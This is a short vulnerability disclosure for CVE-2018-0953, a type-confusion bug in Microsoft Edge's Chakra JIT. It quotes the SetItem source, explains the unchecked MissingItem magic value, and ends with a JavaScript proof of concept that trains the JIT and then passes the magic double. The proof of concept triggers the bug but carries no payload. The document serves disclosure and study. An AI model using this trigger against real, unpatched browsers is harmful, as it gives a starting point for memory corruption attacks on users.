Microsoft Edge: Chakra: JIT: Magic value can cause type confusion 

CVE-2018-0953


BOOL JavascriptNativeFloatArray::SetItem(uint32 index, double dValue)
{
if (*(uint64*)&dValue == *(uint64*)&JavascriptNativeFloatArray::MissingItem)
{
JavascriptArray *varArr = JavascriptNativeFloatArray::ToVarArray(this);
varArr->DirectSetItemAt(index, JavascriptNumber::ToVarNoCheck(dValue, GetScriptContext()));
return TRUE;
}

this->DirectSetItemAt<double>(index, dValue);
return TRUE;
}

As you can see above, if the double value given as the parameter equals to JavascriptNativeFloatArray::MissingItem, it converts the float array to a var array. And since the JITed code doesn't check whether the input is a magic value (MissingItem) which can cause a type conversion, it could result in type confusion.

function opt(arr, value) {
arr[1] = value;
arr[0] = 2.3023e-320;
}

function main() {
for (let i = 0; i < 0x10000; i++)
opt([1.1], 2.2);

let arr = [1.1];
opt(arr, -5.3049894784e-314); // MAGIC VALUE!

print(arr);
}

main();
